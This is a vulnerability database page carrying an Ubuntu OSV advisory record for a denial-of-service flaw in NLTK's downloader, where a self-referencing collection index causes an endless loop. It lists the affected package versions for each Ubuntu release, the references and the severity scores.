pkg:deb/ubuntu/nltk@2.0~b9-0ubuntu4.1~esm6?arch=source&distro=esm-infra-legacy/trusty
|
Affected: All versions (ecosystem)
2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6
|
| Ubuntu:Pro:16.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.1-1ubuntu0.1+esm4?arch=source&distro=esm-apps-legacy/xenial
|
Affected: All versions (ecosystem)
3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4
|
| Ubuntu:Pro:18.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.2.5-1ubuntu0.1+esm4?arch=source&distro=esm-apps/bionic
|
Affected: All versions (ecosystem)
3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4
|
| Ubuntu:Pro:20.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.4.5-2ubuntu0.1~esm4?arch=source&distro=esm-apps/focal
|
Affected: All versions (ecosystem)
3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4
|
| Ubuntu:Pro:22.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.7-1ubuntu0.1~esm2?arch=source&distro=esm-apps/jammy
|
Affected: All versions (ecosystem)
3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2
|
| Ubuntu:Pro:24.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.8.1-1ubuntu0.1~esm2?arch=source&distro=esm-apps/noble
|
Affected: All versions (ecosystem)
3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2
|
| Ubuntu:26.10 |
nltk
pkg:deb/ubuntu/nltk@3.10.3-1?arch=source&distro=stonking
|
Affected: All versions (ecosystem)
3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1
|
| Ubuntu:Pro:26.04:LTS |
nltk
pkg:deb/ubuntu/nltk@3.9.2-1ubuntu0.1~esm2?arch=source&distro=esm-apps/resolute
|
Affected: All versions (ecosystem)
3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2
|
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-nltk",
"binary_version": "2.0~b9-0ubuntu4.1~esm6"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:14.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@2.0~b9-0ubuntu4.1~esm6?arch=source\u0026distro=esm-infra-legacy/trusty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0~b9-0ubuntu4",
"2.0~b9-0ubuntu4.1~esm2",
"2.0~b9-0ubuntu4.1~esm4",
"2.0~b9-0ubuntu4.1~esm5",
"2.0~b9-0ubuntu4.1~esm6"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-nltk",
"binary_version": "3.1-1ubuntu0.1+esm4"
},
{
"binary_name": "python3-nltk",
"binary_version": "3.1-1ubuntu0.1+esm4"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:16.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.1-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps-legacy/xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.4-1",
"3.0.5-1",
"3.1-1",
"3.1-1ubuntu0.1",
"3.1-1ubuntu0.1+esm1",
"3.1-1ubuntu0.1+esm2",
"3.1-1ubuntu0.1+esm3",
"3.1-1ubuntu0.1+esm4"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python-nltk",
"binary_version": "3.2.5-1ubuntu0.1+esm4"
},
{
"binary_name": "python3-nltk",
"binary_version": "3.2.5-1ubuntu0.1+esm4"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.2.5-1ubuntu0.1+esm4?arch=source\u0026distro=esm-apps/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.4-1",
"3.2.5-1",
"3.2.5-1ubuntu0.1",
"3.2.5-1ubuntu0.1+esm1",
"3.2.5-1ubuntu0.1+esm2",
"3.2.5-1ubuntu0.1+esm3",
"3.2.5-1ubuntu0.1+esm4"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-nltk",
"binary_version": "3.4.5-2ubuntu0.1~esm4"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:20.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.4.5-2ubuntu0.1~esm4?arch=source\u0026distro=esm-apps/focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.4.5-1",
"3.4.5-2",
"3.4.5-2ubuntu0.1~esm1",
"3.4.5-2ubuntu0.1~esm2",
"3.4.5-2ubuntu0.1~esm3",
"3.4.5-2ubuntu0.1~esm4"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-nltk",
"binary_version": "3.7-1ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:22.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.7-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.5-1",
"3.6.5-1",
"3.6.7-1",
"3.7-1",
"3.7-1ubuntu0.1~esm1",
"3.7-1ubuntu0.1~esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-nltk",
"binary_version": "3.8.1-1ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:24.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.8.1-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.8.1-1",
"3.8.1-1ubuntu0.1~esm1",
"3.8.1-1ubuntu0.1~esm2"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-nltk",
"binary_version": "3.10.3-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.10",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.10.3-1?arch=source\u0026distro=stonking"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.9.2-1",
"3.9.3-1",
"3.10.0-1",
"3.10.1-1",
"3.10.3-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "python3-nltk",
"binary_version": "3.9.2-1ubuntu0.1~esm2"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:26.04:LTS",
"name": "nltk",
"purl": "pkg:deb/ubuntu/nltk@3.9.2-1ubuntu0.1~esm2?arch=source\u0026distro=esm-apps/resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.9.1-2",
"3.9.1-2build1",
"3.9.2-1",
"3.9.2-1ubuntu0.1~esm1",
"3.9.2-1ubuntu0.1~esm2"
]
}
],
"aliases": [],
"details": "NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. From 3.6.7 until 3.10.4, nltk.downloader follows collection membership without tracking already visited collection nodes. A self-referencing or mutually referencing collection index can therefore make the package-closure walk loop indefinitely while its queue and memory usage grow, denying service when a victim processes the attacker-influenced index. This issue is fixed in version 3.10.4.",
"id": "UBUNTU-CVE-2026-128140",
"modified": "2026-11-25T17:45:47Z",
"published": "2026-11-19T18:18:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-128140"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-128140"
},
{
"type": "REPORT",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"type": "REPORT",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"type": "REPORT",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
},
{
"type": "REPORT",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
}
],
"related": [],
"schema_version": "1.9.2",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"source": "CNA",
"type": "CVSS_V3"
},
{
"score": "medium",
"source": "SELF",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-128140"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.